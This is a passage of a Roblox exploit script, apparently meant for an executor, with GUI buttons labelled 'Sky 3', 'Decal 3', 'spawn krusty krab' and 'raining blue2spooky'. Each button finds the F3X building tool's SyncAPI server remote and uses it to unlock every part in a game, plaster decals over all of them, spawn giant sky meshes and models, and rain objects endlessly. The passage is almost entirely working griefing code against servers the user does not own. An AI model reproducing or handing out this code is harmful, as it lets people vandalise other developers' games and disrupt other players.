function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("169585459")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.54, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Sky 3"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("77695565531189")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.54, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Decal 3"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("77695565531189")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.58, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "muscle man sky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("114286376453289")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.58, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "muscle man decal"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("114286376453289")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.58, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "spawn krusty krab"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Krab(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,18,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Blue2spookys Krusty Krab")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"2180383639")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(1,1,1))
SetLocked(v,true)
end
end
end
Krab("98314626230473")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.58, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "raining blue2spooky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- DO NOT DELETE THIS LEAVE MY CREDIT
-- Rain Toad Script By ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "14832966960")
SetTexture(v, id)
MeshResize(v, Vector3.new(0, 0, 0))
end
end
end
local function createRainToads()
while true do
wait(0.01) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
